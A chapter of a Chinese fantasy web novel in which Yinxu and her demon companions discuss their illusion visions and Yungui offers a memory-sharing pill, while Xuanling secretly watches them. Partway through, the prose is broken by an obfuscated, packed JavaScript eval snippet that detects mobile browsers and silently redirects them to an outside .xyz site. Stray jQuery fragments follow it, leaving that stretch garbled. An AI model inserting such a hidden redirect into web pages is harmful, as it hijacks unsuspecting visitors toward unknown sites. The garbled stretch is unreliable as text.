“看见了……”


    音续声音低低的，她忽然有些不太确定了，不确定自己是做了一场梦，还是一不小心窥见了某个不该知晓的秘密。


    “梦见了一个很美的地方。”音续细细回忆着：“还有……一个熟悉的人。”


    “多半是石门幻境。”云诡拍了拍她的肩，语气意外地轻快：“圣宝楼内的幻境向来诡谲多变，善于勾人心神，你是凡人，第一次入内，我还担心你会沉沦其中，倒是挺顺利地醒过来了。”云诡嘴角勾起一丝安抚意味的笑：“其实看见可怕的东西了也不用担心，那些都不是真的。”


    音续点点头，但脑海中挥之不去的，却是那个女孩纵身跃下悬崖的画面。尽管云诡的话让她心中轻松了些，可幻境里的感觉过于真实，真实到她此刻仍有一种置身梦境的恍惚感。


    她记得女孩的脸，没有半分表情，却在眼神交汇的刹那，看见了眼里涌现的忧伤，像是强行压抑至极限的悲鸣。


    她不想在那张脸上看到这种情绪——那分明是她自己的脸。


    她宁愿那个美丽的地方永远只属于幻境，再不重逢。


    “太可怕了，太可怕了！”一条猛地从角落里窜出来，惊魂未定地砸砸嘴：“你知道我在幻境里经历了什么吗！”


    “我被一把比我身子还大的斧头追着砍！法术都使不出！只能拼命跑。跑啊跑，跑啊跑，跑到肚子打颤，结果一脚被什么东西绊倒了！”


    “然后我一抬头，你猜面前站着谁？”


    一条突然转头看向音续，晃着她的胳膊，眼睛亮的像要炸开一样：“你猜是谁！”


    音续被它晃得有些头晕，勉强回答：“斧……斧头精？”


    一条没说话，转身又扯了扯云诡的裙摆：“你来猜是谁！”


    云诡一把推开它凑过来的大脸，不耐烦地啧了一声。


    “大声告诉我是谁！”被无情推开的一条扭头揪住一坨的领子，瞪圆的眼珠轮番审视一坨的三只眼睛。


    “是尊上！”还没等一坨回答，一条就摇头晃脑地大声叫喊：“我宁愿是那个斧头精！”


    “你知道更可怕的是什么吗！”一条咬牙切齿地回头看向音续。


    “应该是不知道。”音续有些抱歉地摇摇头。


    “更可怕的是这竟然不是梦！”一条抱紧了自己的脑袋：“我当场就吓晕过去了……再一睁眼，尊上依然站在我面前，我们被抓了！”


    “我到现在都不敢相信……”一条哼哼唧唧地哭了两声：“虽然尊上貌美如花，但我真的不希望在幻境里看见他的脸……呜呜，云诡，你说我们是不是死定了！”


    “你现在才害怕，是不是有点晚了。”云诡拖着下巴，有一搭没一搭地应付它。


    一条顿时蔫了下去，它低沉着嗓音，发出一些难听的怪动静。半晌，又好似突然想起了什么，猛地扭头看向一坨。


    它伸了伸爪子，回忆着手心的触感：“你什么时候穿上衣服了！”


    一坨怔了一瞬，然后微微低下头，脸上有一晃而过的羞涩：“我……我在幻境里遇到了一只大海妖……”


    “海妖？”一条不解：“你不是最怕水里的东西了吗？再说，这和衣服有什么关系？”


    “这是她给我织的……”一坨羞答答地扯了扯衣摆。


    “她？”一条声音提高了八度：“那个海妖？”


    眼见着一条又要跳起来，云诡眼急手快地将他拉回来，皱了皱眉，扭头问音续：“你刚刚说，你在幻境里看见了什么？”


    音续一愣：“一个很美的地方。”


    “看来我猜的没错。”云诡的脸色倏地沉了几分。


    “这定不是普通的幻象。”


    一条还在揉脑袋，听见这话猛地抬起头：“什么意思，你是说，那些……可能是真的？”


    “不全是真的。”云诡道：“也不全是假的。”


    音续与二妖均是一头雾水，只听云诡继续道：“幻境可诡可真，所反映的类型却不过三种。”她伸出三根手指，视线缓缓扫过众人：“恐惧，美好，亦或是未来。”


    “我起初以为，一条的幻境映射的是内心深处的恐惧。”


    “但听你说完之后，我想，大概是未来。”


    一条若有所思地点点头：“好像有点道理，我在幻境中被尊上抓了，一睁眼，也确实被抓了个正着……”


    “那我就是恐惧？”一坨低头看了看身上的衣服：“我确实最怕水了，尤其是深深的水，更别提海里的妖怪……”


    音续沉思着，眉头慢慢皱起。她没有告诉云诡幻境中的全部内容。按照这个逻辑，她的幻境恐怕才是真正的“恐惧”吧。


    一个和她一模一样的女孩，在仙境般的地方毫不犹豫地跳了崖，怎么想都是一场噩梦。


    音续下意识打了个寒战。


    “怎么了？”云诡察觉到她的异样，扭头问道。


    “没事。”音续摇摇头。她心中隐隐觉得不安。一推虽然怕水，却也带回了一件衣服，或许那更像是一种渴望。那么她的幻境……又代表着什么？


    “那你呢？”一条打断她的思绪：“你在幻境里看见了什么？”


    云诡没有直接回答，而是从袖中取出一个小玉瓶，从中倒出一枚莹白的药丸，递到音续手中。


    “这是什么？”音续下意识接过。


    “我母族的秘术。”云诡说得轻描淡写：“取大雪之日盛开的那一株结灵草磨成粉末，施以咒术，一半撒于灵摆之上，另一半炼成药丸服下，灵识之间便可互通感应，短时间内共享一部分记忆。”


    “简单来说，就是在这天地间的某一时刻里，你是它，它是你。”


    音续捏着那一粒小小的药丸，犹豫着说：“可是，我没有灵识啊……”


    “所以我又在其中加了一道法术。”云诡有些小得意，她仰起头，朝音续眨眨眼：“让它与我的灵识互通，但是，它会把我认成你。”


    “简单来说，你是她，她也是它，它也是你！”一条抢答。


    “没错！”云诡用力地点了下头：“就是这个意思。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213452|181397||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “等等！”一条忽然反应过来：“你方才是说，你把药粉撒在了灵摆上？”


    “你看见了灵摆？”


    空气骤然凝滞，所有人的目光齐刷刷落在云诡身上。


    “看见了。”她答得干脆。


    “几乎是刚进入石门不久，我就破了幻境，找到了它。”


    “你……你在幻境里究竟看见了什么？”一条忍不住又问，凑近了眼巴巴地看她：“真没骗我们？”


    “当我和你一样无聊？”云诡娴熟地推开它：“再说，你真想知道？”


    一条缩了缩脖子：“好像也不太想……”


    “哼。”云诡冷哼一声：“不想知道就别问那么多。”


    音续低下头看着掌心的药丸，内心涌起一丝莫名的不安，她总觉得哪里有些不对劲，但一时之间又说不上来。


    “这……会不会是你们尊上的计谋？”音续小声问：“毕竟，我们是被他抓来的。会不会幻境里的一切早就被他看光了？”


    “或者说，他故意弄了一个假的过来……又或是你碰见灵摆时，根本还在幻境里。”


    她一口气说了很多猜测，却被云诡一一否决。


    “不会的。”云诡斩钉截铁：“我在石门中时，曾试探过灵摆的灵息，况且，我那幻境的破绽实在是……太离谱。”


    云诡清了下嗓子，避而不谈细节。


    “总之，你尽可放心大胆地吃。”


    ……


    事实证明，云诡还是太单纯了一些。


    坐在大殿内悠然看戏的玄凌不仅弄了一个假的过去，甚至还将众人狼狈的模样尽收眼底。


    在他面前的虚空之中，一方由魔眼投映的光幕正缓缓流转，映出牢内众人的模样，生动鲜活、狼狈可笑、毫无遮掩。云诡递药，音续迟疑，一条与一坨脑作一团，一切都在他的掌控之下。


    然而，这一切之中，却唯独缺了一幕。


    他看不见音续的幻境。


    自魔眼开启至今，圣宝楼内万象尽收眼底，向来无所遁形，而今却是第一次，遇见了空白。


    他没说话，只缓缓伸出手，掌中光影变幻，灵摆轮廓清晰浮现。银光隐隐间，它绕着指尖缓缓旋转。它不安地跳动着，牵引出一道若有若无的命线，在虚空中延展，牵引着不知是谁的命运，向深处不断拉扯。


    倒是稀奇。玄凌想。


    他并不在意一个凡人的幻境中究竟有什么，恐惧、渴望抑或哀求，于他而言都毫无意义。他曾见过无数灵魂在幻境中溃散、挣扎，最终化为微尘，连轮回都不可得。


    音续与他们并无不同，甚至更加渺小。


    可这份空白，让他不悦。


    他不喜欢失控的东西，哪怕只是极小的一角。


    玄凌轻敛目光，骨节分明的手指缓缓摩挲着灵摆的边缘。它忽然一震，仿佛是察觉到了什么，竟微不可见地闪烁两下。


    “凡人……”玄凌垂下眼眸。


    良久，他收回手，灵摆随之隐没无踪，指尖却依旧残留那道微凉的触感。